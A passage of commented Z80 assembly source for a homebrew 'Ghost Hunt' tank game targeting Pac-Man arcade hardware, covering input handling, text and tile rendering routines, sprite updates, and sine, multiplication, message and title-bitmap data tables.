inc a ;+1 for negative y velocity (was 0 add 1)
ld (ix + spr_vel_y),a ;and store
ld a,$22*4 ;vertical tank *4 to get sprite number in top 6 bits
ld (ix),a ;set vertical tank sprite
res flipy,(ix) ;no flip y - set to 0 - clear
ret ;don't bother checker down
.down: ld a,b ;get state again
and inp_chk_down ;examine down
and a ;check if pressed
ret nz ;it's non zero so isn't pressed so finish
dec (ix + spr_y) ;move up
xor a ;clear horizontal movement
ld (ix + spr_vel_x),a
dec a ;-1 for positive y velocity (was 0 dec to ff)
ld (ix + spr_vel_y),a ;and store
ld a,$22*4 ;veritcal tank *4 to get sprite number in top 6 bits
ld (ix),a ;set vertical tank sprite
set flipy,(ix) ;no flip y - set to 0 - clear
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; displays a portion of text from a message at the top of the screen
; updates every 8 frames
; address of start position is loaded into hl
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
scrolling_message:
ld a,(frame_counter) ;get frame counter see if it's modable
and $7 ;mask all but low bits - scroll every 8 frames
ret nz ;don't update text unless mod 8 is 0
ld hl,(msg_one_pos) ;get text addr of first character to show
inc hl ;move to next character
ld a,(hl) ;load first char to see if it's zero
and a ;is it zero?
jp nz,.render_scrolling_message ;if not then display text
ld hl,top_mess ;if it is then reset to start position for top text
.render_scrolling_message:
ld (msg_one_pos),hl ;store text addr for next time
ex de,hl ;swap hl into de so character address is in de
ld hl,tile_ram_top_vis_line1 ;vram address to display to
;ld c,$3f ;colour (white)
call borders_blit_text_only ;render text without setting colour pallete
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;routine to update text displays that change
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
process_top_message_text:
ld hl,(frame_number) ;get frame number see if it's 60
ld a,l ;check frame counter
and a ;to see if it is zero
ret nz ;don't update if not frame 0
ld a,h ;get second counter
and a ;make sure zero flag possible
ret z ;get out if seconds 0
ld a,(top_mess_seconds) ;get seconds timer bits to look at for message
and h ;look at these bits in h, if they are zero change message
ret nz ;don't update if not zero result
ld hl,(msg_top_addr) ;get addr of message to display
ld e,(hl) ;remember lo-byte first in memory
inc hl ;move to hi-byte
ld d,(hl) ;place in d
inc hl ;point to next addr in array of addresses
ld a,d ;load hi-byte into for or'ing with the lo-byte
or e ;see if address is zero (if we or we can test full zero easy)
jp nz,process_text_top_message_text ;if it isn't display the message
ld hl,top_list ;reset to first item and re-load
ld e,(hl) ;remember lo-byte first in memory
inc hl ;move to hi-byte
ld d,(hl) ;place in d
inc hl ;point to next addr in array of addresses
process_text_top_message_text:
ld (msg_top_addr),hl ;store next message to display
ld hl,tile_ram_top_vis_line2 ; draw on second line at top
ld c,$9 ; palette 9 (third colour yellow)
call borders_blit_text_only ;write text to border area
ret
bot_display_upd:
ld hl,(frame_number) ;get frame number see if it's 60
ld a,l ;check frame number
and a ;to see if it's zero
ret nz ;don't update if not frame 0
ld a,(bot_mess_seconds) ;get seconds interval for message change
and h ;and with number of seconds gone by
ret nz ;only update if on a 2 second interval, jump onto top display text
ld hl,(msg_bot_addr) ;get addr of message to display
ld e,(hl) ;remember lo-byte first in memory
inc hl ;move to hi-byte
ld d,(hl) ;place in d
inc hl ;point to next addr in array of addresses
ld a,d ;load hi-byte into for or'ing with the lo-byte
or e ;see if address is zero (if we or we can test full zero easy)
jp nz,process_text_bot_text ;if it isn't display the message
ld hl,bottom_list ;reset to first item and re-load into de
ld e,(hl) ;remember lo-byte first in memory
inc hl ;move to hi-byte
ld d,(hl) ;place in d
inc hl ;point to next addr in array of addresses
process_text_bot_text:
ld (msg_bot_addr),hl ;store next message to display
ld hl,tile_ram_bot_vis_line1 ;tile address to start writing at
ld c,$15 ;palette 21 (third colour tan)
call borders_blit_text_only ;write text to border area
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HELPER FUNCTIONS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; takes a byte and outputs the hex value to top or bottom rows only
; hl holds address of vram to place data
; c holds value to output
; a little tricky as tiles stored in ascii, so need to do adjustments to move between
; the stock digits and the 6 hex additional digits
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
show_hex:
ld b,2 ;do this twice
.nibbleout:
xor a ;clear carry
ld a,c ;get byte to output
rlca
rlca
rlca
rlca ;rotate 4 times to swap nibbles
ld c,a ;store temp for next time
and $f ;mask
cp $a ;are we bigger than 9
jp p,.alphahex ;adjust for a to f
add 48 ;it's 0-9 so add 48 for tile number
jp .output ;now render to screen
.alphahex:
add 55 ;add 55 (so a becomes 65 - ASCII A)
.output:
ld (hl),a ;write tile value to vram
dec hl ;move to next column on the right for lower nibble
djnz .nibbleout
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; generic text blitting routine for normal areas of screen (28x32 main playfield)
; text strings MUST be zero terminated
; on entry
; de points to text string
; hl points to address in vram to print at
; c = palette colour of tile
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main_blit_text_and_colour:
ld a,(de) ;get the byte at de
inc de ;increment the text pointer
or a ;test for string terminator
ret z ;return if we've finished this string
ld (hl),a ;write the byte to vram
set 2,h ;point hl at colour ram by setting bit 2 of h
ld a,c ;get colour byte into a
ld (hl),a ;write the byte to colour ram
ld a,l ;low byte of vram/colour address into A
sub 32 ;subtract 32 to move across the screen by 1 char position
ld l,a ;store back to l
res 2,h ;point hl back at vram by clearing bit 2 of h
ld a,h ;handle the carry from the SUB instruction (if there was one)
sbc a,0 ;subtract zero and the carry flag from a
ld h,a ;store back to d
jp main_blit_text_and_colour ;loop until we read a zero terminating byte
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; generic text blitting routine for normal areas of screen (28x32 main playfield)
; text strings MUST be zero terminated
; on entry
; de points to text string
; hl points to address in vram to print at
; can do this as we don't have mess about with pallette ram
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main_blit_text_only:
push bc ;save bc as we are gonna nuke it
ld bc,32 ;column skip amount
.char_loop:
ld a,(de) ;get the byte at de
inc de ;increment the text pointer
or a ;test for string terminator
jp z,.finish ;return if we've finished this string
ld (hl),a ;write the byte to vram
sbc hl,bc ;move to next column
jp .char_loop ;loop until we read a zero terminating byte
.finish:
pop bc ;retrieve bc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; writes text to the top or bottom two rows
; on entry
; de points to text string
; hl points to address in vram to print at
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
borders_blit_text:
ld b,$1d ;maximum number of chars to draw in a line (28)
.blit_loop:
ld a,(de) ;get the byte at HL
inc de ;increment the text pointer
or a ;test for string terminator (0)
ret z ;return if we've finished this string
dec b ;check maximum characters has not been met
ret z ;return if we have
ld (hl),a ;write the byte to vram
set 2,h ;point DE at colour ram by setting bit 2 of D
ld a,c ;get colour byte into A
ld (hl),a ;write the byte to colour ram
res 2,h ;point DE back at vram by clearing bit 2 of D
dec hl ;move to next column
jp .blit_loop ;loop until we read a zero terminating byte
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; writes text to the top or bottom two rows
; hl contains vram address to write to
; de holds address of zero terminated string
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
borders_blit_text_only:
ld b,$1d ;maximum number of chars to draw in a line (28)
.blit_loop:
ld a,(de) ;get the byte at HL
inc de ;increment the text pointer
or a ;test for string terminator (0)
ret z ;return if we've finished this string
dec b ;check maximum characters has not been met
ret z ;return if we have
ld (hl),a ;write the byte to vram
dec hl ;move to next column
jp .blit_loop ;loop until we read a zero terminating byte
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fills an entire row in either the top or
; bottom border with the value in a
; a contains tile/pallete number to write
; b contains number of tiles to fill
; hl contains tile ram or palette
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fill_border_area_row:
.write ld (hl),a ;store value at current address
dec hl ;move right one column
djnz .write ;loop back if we have more to do
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; xor's an entire row in either the top or
; bottom border with the a value
; b contains number of tiles to fill
; c contains value to xor
; hl contains tile ram or palette
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor_border_area_row:
.write
ld a,c ;load xor mask
xor (hl) ;xor with current tile/pallete addr contents
ld (hl),a ;write new value
dec hl ;move right one column
djnz .write ;loop back if we have more to do
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fills the entire screen pallete ram with given pallete number
; a contains pen colour to fill tiles with
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fill_screen_area_colour:
ld hl,pallete_ram_main ;colour ram
ld de,pallete_ram_main + 1 ;one on from hl so we effectively drag the value at hl through vram
ld bc,$37f ;all but one address needed as we manually set the first one below
ld (hl),a ;write first value to hl
ldir ;copy (hl) -> (de), inc hl, inc de, dec bc, loop until bc = 0
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; a contains tile number
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fill_screen_area_working_slow:
ld hl,tile_ram_play_area ;tile ram
ld de,tile_ram_play_area + 1 ;one on from hl so we effectively drag the value at hl through vram
ld bc,$37f ;all but one address needed as we manually set the first one below
ld (hl),a ;write first value to hl
ldir ;copy (hl) -> (de), inc hl, inc de, dec bc, loop until bc = 0
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; fills a row with given tile/pallete
; hl holds start address to fill
; a holds the tile/palette colour to use
; b holds number of tiles/palettes to draw
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
fill_screen_area_row:
ld de,-32 ;skip between columns 32 bytes down to move right
.write_loop:
ld (hl),a ;store tile/pallete value
add hl,de ;move right (back 32 bytes)
djnz .write_loop ;have we done the correct number of writes?
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; xor's a row with given value - useful for flashing tiles
; hl holds start address to fill
; b holds number of tiles/palettes to draw
; c holds value to xor with tile/pallete
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
xor_screen_area_row:
ld de,-32 ;skip between columns 32 bytes down to move right
.write_loop:
ld a,c ;load c into
xor (hl) ;and xor value at hl with a
ld (hl),a ;store tile/pallete value
add hl,de ;move right (back 16 bytes)
djnz .write_loop ;have we done the correct number of writes?
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; takes a wasteful raw tilemap and copies to tile ram
; hl contains addr of raw tilemap data
; map in this format needs a byte per tile and therefore takes up 896 bytes of rom
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
draw_raw_map_to_screen:
ld de,tile_ram_play_area ;main draw area of screen
ld bc,$380 ;copy 896 bytes raw
ldir ;(hl) -> (de) inc hl, inc de, dec bc, stop if bc = 0
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; sp contains address +1 to push 2 tiles into
; it's quicker to use stack pointer to push 2 bytes than using (hl) and increment
; de gets destroyed
; b contains full block to use
; a contains bitmap for tiles
; 2 leftmost bits are dropped into carry for testing
; to be used as a block of 4 macro calls to process an entire byte (8 rows)
; need 4 of these blocks to complete an entire column
;
; Macro's allow us to create unrolled loops, this processes two bits of data
; they have to be populated with local labels as the code is substituted by the assembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
tile_empty_block: equ $0f
tile_full_block: equ $0e
MACRO DECODE_AND_PUSH_TWO_TILES
add a ;get msb into carry
jp c,.fullfirst ;is it a block (1)
ld d,tile_empty_block ;no so set empty tile
jp .next ;look at next bit
.fullfirst: ld d,b ;set first to a full tile
.next: add a ;get msb into carry for msb
jp c,.fullnext ;is it a block (1)
ld e,tile_empty_block ;no sp set set 2nd tile to empty tile
jp .pushnow ;go and perform the push
.fullnext: ld e,b ;set second tile to full tile
.pushnow: push de ;store the tiles on screen
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; this draws a column at a time in reverse (bottom to top) to take advantage of stack pushes
; takes a bitmap encoded pixel map and renders to screen in solid tiles
; on entry hl holds address of pixel map
; a holds tile to use in place of block
; $0e is a full block
; $7f is hash and $8f is checker pattern
; uses the macro above 4 times - to process a full byte of data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
draw_pixel_map_to_screen:
ld (save_sp),sp ;save stack pointer as we are going to use it to store to tile ram
ld (full_tile),a ;save full tile
ld sp,tile_ram_play_area_last + 1 ;set stack pointer to end of main video area + 1 - as push will pre decrement the address
ld b,28 * 4 ;28 columns of data to process 4 bytes per column
.process_byte:
ld a,b ;copy a to b to move to ram
ld (save_reg),a ;temporarily store b
ld a,(full_tile) ;get full tile
ld b,a ;and put in b
ld a,(hl) ;load bitmap for next eight blocks from map
inc hl ;move to next bitmap ready for next loop
;use 4 copies of the macro to process entire byte
DECODE_AND_PUSH_TWO_TILES ;process bits 7 and 6
DECODE_AND_PUSH_TWO_TILES ;process bits 5 and 4
DECODE_AND_PUSH_TWO_TILES ;process bits 3 and 2
DECODE_AND_PUSH_TWO_TILES ;process bits 1 and 0
ld a,(save_reg) ;get saved value
ld b,a ;restore b
djnz .process_byte ;loop to process next byte of map if b is not zero
ld sp,(save_sp) ;restore stack pointer
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; show pacman maze for start of intro
; this is not used but shows how to use a raw map (in this case pac_map_raw:)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;some constants
playerone_txt_pallete: equ $468c
getready_txt_pallete: equ $4652
show_pac_maze:
ld a,$10 ;pallete for pacman maze
call fill_screen_area_colour ;fill entire screen with palette 16
ld hl,pac_map_raw ;render pac tilemap to screen
call draw_raw_map_to_screen ;data includes tiles for get ready player one text
;set colour for two text parts of pacman maze, player one and get ready!
ld hl,playerone_txt_pallete ;address of player one pallete
ld b,10 ;ten palette addresses please
ld a,5 ;cyan palette (inky)
call fill_screen_area_row ;call function to do it
ld hl,getready_txt_pallete ;address of ready? pallete
ld b,6 ;six palette addresses please
ld a,9 ;pacman palette (yellow)
jp fill_screen_area_row ;jump to function to do it and let it do return for this function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; flashes every 32 frames the tiles showing ready
; example of flashing tiles using counters and xor helper function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;some constants
flash_get_ready:
ld a,(frame_counter) ;get frame count for flashing animation changes
and $1f ;and with 31 to see if it is zero
ret nz ;change every 32 frames (mod 32) only
ld hl,getready_txt_pallete ;address of ready? pallete
ld b,6 ;six palette addresses please
ld c,9 ;pacman palette (yellow)
jp xor_screen_area_row ;jump to toggle code and let that do the return (quicker)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; flashing routine for power pellets
; pellets at colour pallete addresses $4784,$4464,$4798,$4479
; just toggle palette between 0 and 16 by xor $10
;
; not used but flashes the 4 power pellets drawn in the pac_map_raw data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;few constants
pellet_topright: equ $4464
pellet_botright: equ $4478
pellet_topleft: equ $4784
pellet_botleft: equ $4798
flash_pellets:
ld a,(frame_counter) ;get frame rate for flashing animation changes (for power pills)
and $f ;check lower nibble to see if it is zero
ret nz ;change every 16 frames (mod 16)
;flash the power pellets
ld b,$10 ;load b with 16 (colour palette of pellets)
ld hl,pellet_topright ;get address of palette
ld a,b ;put 16 in a
xor (hl) ;xor with current pallete
ld (hl),a ;write xor value back
ld hl,pellet_botright ;get address of palette
ld a,b ;put 16 in a
xor (hl) ;xor with current pallete
ld (hl),a ;write xor value back
ld hl,pellet_topleft ;get address of palette
ld a,b ;put 16 in a
xor (hl) ;xor with current pallete
ld (hl),a ;write xor value back
ld hl,pellet_botleft ;get address of palette
ld a,b ;put 16 in a
xor (hl) ;xor with current pallete
ld (hl),a ;write xor value back
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; performs intial copy of sprite data over
; to the sprite ram area for game mode
; hl holds address to copy sprite data from
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_sprites:
ld de,sprite_data ;address of sprite data in ram
ld bc,4 * 6 ;get ready to copy all bytes (6 on hardware)
ldir ;copy data to ram
ld de,sprite_vels ;get velocity ram location
ld bc,2 * 6 ;copy velocities pairs for each sprite
ldir
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; updates positions based on velocities
; for each of the sprites other than player sprite
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
apply_sprites_velocities:
ld de,sprite_vels + 2 ;get velocity of first sprite - skip sprite 0
ld hl,sprite_pos + 2 ;get position data for first sprite - skip sprite 0
ld b,5 ;gonna update 5 sprites positions (not including player position)
spr_vel_loop:
ld a,(de) ;get x velo of sprite
add a,(hl) ;add x position to x velocity
ld (hl),a ;save new x position
inc de ;move to y velocity
inc hl ;move to y position
ld a,(de) ;get y velo of sprite
add a,(hl) ;add y position to y velocity
ld (hl),a ;save new y position
inc de ;move to next sprite velocities
inc hl ;move to next sprite positions
djnz spr_vel_loop ;keep going if sprites remaining to be updated
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Data starts here
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;align to start off second 4k rom .6f
org $1000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; new sinewave data with a +- 127 range [ 127 * Sin(x) ] represents one full period 0 to 2Pi (0-359 degrees)
; 360/256 is fractional accessor or 2Pi/256
; positions 0 to 63 represent the range 0 to 89 degrees
; positions 64 to 127 represent the range 90 to 179 degrees
; positions 128 to 191 represent the range 180 to 269 degrees
; positions 192-255 represent the range 270 to 359 degrees
;
; to access use the following format:
;
; ld hl,sinewave ;point to base of sinewave table
; ld l,63 ;pick up
; ld a,(hl) ;load 128 * sin(90) approximately
; ;use shifts to get smaller numbers
; sra a ;divide number by 2
;
; this is page aligned so we can use a single register to access the sine value
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
sinewave:
defm 000,003,006,009,012,016,019,022
defm 025,028,031,034,037,040,043,046
defm 049,051,054,057,060,063,065,068
defm 071,073,076,078,081,083,085,088
defm 090,092,094,096,098,100,102,104
defm 106,107,109,111,112,113,115,116
defm 117,118,120,121,122,122,123,124
defm 125,125,126,126,126,127,127,127
defm 127,127,127,127,126,126,126,125
defm 125,124,123,122,122,121,120,118
defm 117,116,115,113,112,111,109,107
defm 106,104,102,100,098,096,094,092
defm 090,088,085,083,081,078,076,073
defm 071,068,065,063,060,057,054,051
defm 049,046,043,040,037,034,031,028
defm 025,022,019,016,012,009,006,003
defm 000,-003,-006,-009,-012,-016,-019,-022
defm -025,-028,-031,-034,-037,-040,-043,-046
defm -049,-051,-054,-057,-060,-063,-065,-068
defm -071,-073,-076,-078,-081,-083,-085,-088
defm -090,-092,-094,-096,-098,-100,-102,-104
defm -106,-107,-109,-111,-112,-113,-115,-116
defm -117,-118,-120,-121,-122,-122,-123,-124
defm -125,-125,-126,-126,-126,-127,-127,-127
defm -127,-127,-127,-127,-126,-126,-126,-125
defm -125,-124,-123,-122,-122,-121,-120,-118
defm -117,-116,-115,-113,-112,-111,-109,-107
defm -106,-104,-102,-100,-098,-096,-094,-092
defm -090,-088,-085,-083,-081,-078,-076,-073
defm -071,-068,-065,-063,-060,-057,-054,-051
defm -049,-046,-043,-040,-037,-034,-031,-028
defm -025,-022,-019,-016,-012,-009,-006,-003
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; mutliplication look up page aligned - 256 bytes 15x15 times table
; page aligned as previous table was 256 bytes (an entire page)
; this is also an entire page (256 bytes as it includes 0 * n)
; to use num1 * num2 do the following:
;
; ld hl,multiplication_lookup ;set hl pointing at lookup table
; ld a,(num1) ;load num 1 into a
; add a,a ;multiply a by 16 this points to start of each numbers times table
; add a,a
; add a,a
; add a,a
; add a,(num2) ;add on the number to multiply by to get the offset along table
; ld l,a ;put this into l
; ld a,(hl) ;load value from lookup table into a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
multiplication_lookup:
defm 000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000
defm 000,001,002,003,004,005,006,007,008,009,010,011,012,013,014,015
defm 000,002,004,006,008,010,012,014,016,018,020,022,024,026,028,030
defm 000,003,006,009,012,015,018,021,024,027,030,033,036,039,042,045
defm 000,004,008,012,016,020,024,028,032,036,040,044,048,052,056,060
defm 000,005,010,015,020,025,030,035,040,045,050,055,060,065,070,075
defm 000,006,012,018,024,030,036,042,048,054,060,066,072,078,084,090
defm 000,007,014,021,028,035,042,049,056,063,070,077,084,091,098,105
defm 000,008,016,024,032,040,048,056,064,072,080,088,096,104,112,120
defm 000,009,018,027,036,045,054,063,072,081,090,099,108,117,126,135
defm 000,010,020,030,040,050,060,070,080,090,100,110,120,130,140,150
defm 000,011,022,033,044,055,066,077,088,099,110,121,132,143,154,165
defm 000,012,024,036,048,060,072,084,096,108,120,132,144,156,168,180
defm 000,013,026,039,052,065,078,091,104,117,130,143,156,169,182,195
defm 000,014,028,042,056,070,084,098,112,126,140,154,168,182,196,210
defm 000,015,030,045,060,075,090,105,120,135,150,165,180,195,210,225
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; some messages to display
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;0123456789012345678901234567 - for alignment purposes
msg_instruction: defm "WELCOME TO THIS LITTLE GAME",0
msg_quit_game: defm " 2P START TO QUIT TO TITLE ",0
msg_debug: defm "DEBUG ",0
msg_scoring: defm "1 UP TIME HI SCORE",0
msg_game_over: defm " GAME OVER ",0
msg_gameover_blank: defm " ",0
msg_blank: defm " ",0 ;use this label to also refer to a blank message
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; data for the top line scrolling message
; terminated with a zero
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
top_mess:
defm " GHOST HUNT "
defm " SHOOT AS MANY GHOSTS AS POSSIBLE IN 60 SECONDS "
defm " CONTROLS "
defm " PRESS 1P START TO SHOOT "
defm " JOYSTICK CONTROLS TANK "
defm 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; a list of message width of the screen (28 columns)
; to display
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
bot_mess_seconds: defm 0 ; change every second
bot_mess_1: defm " PRESS 1P START TO BEGIN ",0
bot_mess_2: defm " BY HURRAY BANANA JUNE 2016 ",0
; 0123456789012345678901234567 - for alignment purposes
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; this is the addressess of the messages to display (above),
; the code looks for an address of zero to restart the list
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
bottom_list: defw bot_mess_1,msg_blank,bot_mess_2,msg_blank,0
;this is currently disabled but is basically a flicking message for the second row - where the timer and score sit
top_mess_seconds: defm 1 ;alter message every 2 seconds
top_mess_1: defm " SIMPLE GAME ",0
top_mess_2: defm " DEMONSTRATION ",0
top_mess_3: defm " IN Z80 ASSEMBLY LANGUAGE ",0
top_mess_4: defm "DESIGNED TO SHOW FEATURES OF",0
top_mess_5: defm " ASSEMBLY LANUAGE SUCH AS ",0
top_mess_6: defm " ADDRESSING MODES ",0
top_mess_7: defm " USE OF INTERRUPTS ",0
top_mess_8: defm " SHIFTING ",0
top_mess_9: defm " LOOKUP TABLES ",0
top_mess_a: defm " MASKING AND SO ON ",0
top_mess_b: defm " ASSEMBLER FEATURES SUCH AS ",0
top_mess_c: defm " USE OF CONSTANTS ",0
top_mess_d: defm " SYMBOLIC ADDRESSESS ",0
top_mess_e: defm " MACROS AND COMMENTS ",0
top_mess_f: defm "THIS CODE IS DESIGNED TO RUN",0
top_mess_10: defm " ON ACTUAL PACMAN HARDWARE ",0
top_mess_11: defm "FULLY COMMENTED SOURCE CODE",0
top_mess_12: defm " AVAILABLE ON REQUEST ",0
top_mess_13: defm " CREATED BY HURRAY BANANA ",0
top_mess_14: defm " JUNE 2016 ",0
; 0123456789012345678901234567 - for alignment purposes
;addressess of message display, in order required - notice blank messages have been inserted
top_list: defw top_mess_1,top_mess_2,top_mess_3,msg_blank,top_mess_4,top_mess_5,top_mess_6,top_mess_7,top_mess_8,top_mess_9,top_mess_a
defw msg_blank,top_mess_b,top_mess_c,top_mess_d,top_mess_e,msg_blank,top_mess_f,top_mess_10,top_mess_11,top_mess_12,top_mess_13,top_mess_14
defw msg_blank,0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;column ordered data for generating the title screen
;bitmap for title screen - each bit is a solid tile when rendered
;top row is left hand column working from bottom to top
;full screen 28 rows of 4 bytes (32 bits for each of the 32 rows of the main screen area)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
title_screen_column_data:
defm $00,$00,$00,$3E
defm $00,$00,$00,$41
defm $00,$00,$00,$49
defm $00,$00,$00,$49
defm $00,$00,$00,$7A
defm $00,$00,$00,$00
defm $00,$00,$00,$7F
defm $00,$3F,$80,$04
defm $FE,$77,$F0,$04
defm $10,$7B,$F8,$78
defm $10,$3B,$FC,$00
defm $10,$17,$3C,$38
defm $FE,$37,$3E,$44
defm $00,$7B,$FE,$44
defm $78,$7B,$FE,$44
defm $80,$37,$3E,$38
defm $40,$17,$3C,$00
defm $F8,$3B,$FC,$08
defm $00,$7B,$F8,$54
defm $F8,$77,$F0,$54
defm $08,$3F,$80,$54
defm $08,$00,$00,$20
defm $F0,$00,$00,$04
defm $00,$00,$00,$3E
defm $08,$00,$00,$44
defm $7C,$00,$00,$24
defm $88,$00,$00,$00
defm $48,$00,$00,$00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; initial settings for sprites in title mode
; sprite data sprite number multiplied by 4 (upper 6 bits refer to sprite number)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
spr_initial_title_data:
;sprite number * 4 to but into top 6 bits (0-63) flips then in bit 0 and 1, and pallete byte
defm $23*4, 1 ; sprite 0, flipped in x, palette 1
defm $3f*4, 1 ; sprite 1
defm $3f*4, 3 ; sprite 2
defm $3f*4, 5 ; sprite 3
defm $3f*4, 7 ; sprite 4
defm $3f*4, 0 ; sprite 5 ;bullet sprite invisible
;starting positions x,y
defm 140, 72 ;sprite 0
defm 180, 200 ;sprite 1
defm 160, 200 ;sprite 2
defm 140, 200 ;sprite 3
defm 120, 200 ;sprite 4
defm 100, 200 ;sprite 5
;sprite velocities x,y
defm 0,0 ;sprite 0
defm 1,0 ;sprite 0
defm 1,0 ;sprite 0
defm 1,0 ;sprite 0
defm 1,0 ;sprite 0
defm 0,0 ;sprite 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; initial settings for sprites in game mode
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
spr_initial_game_data:
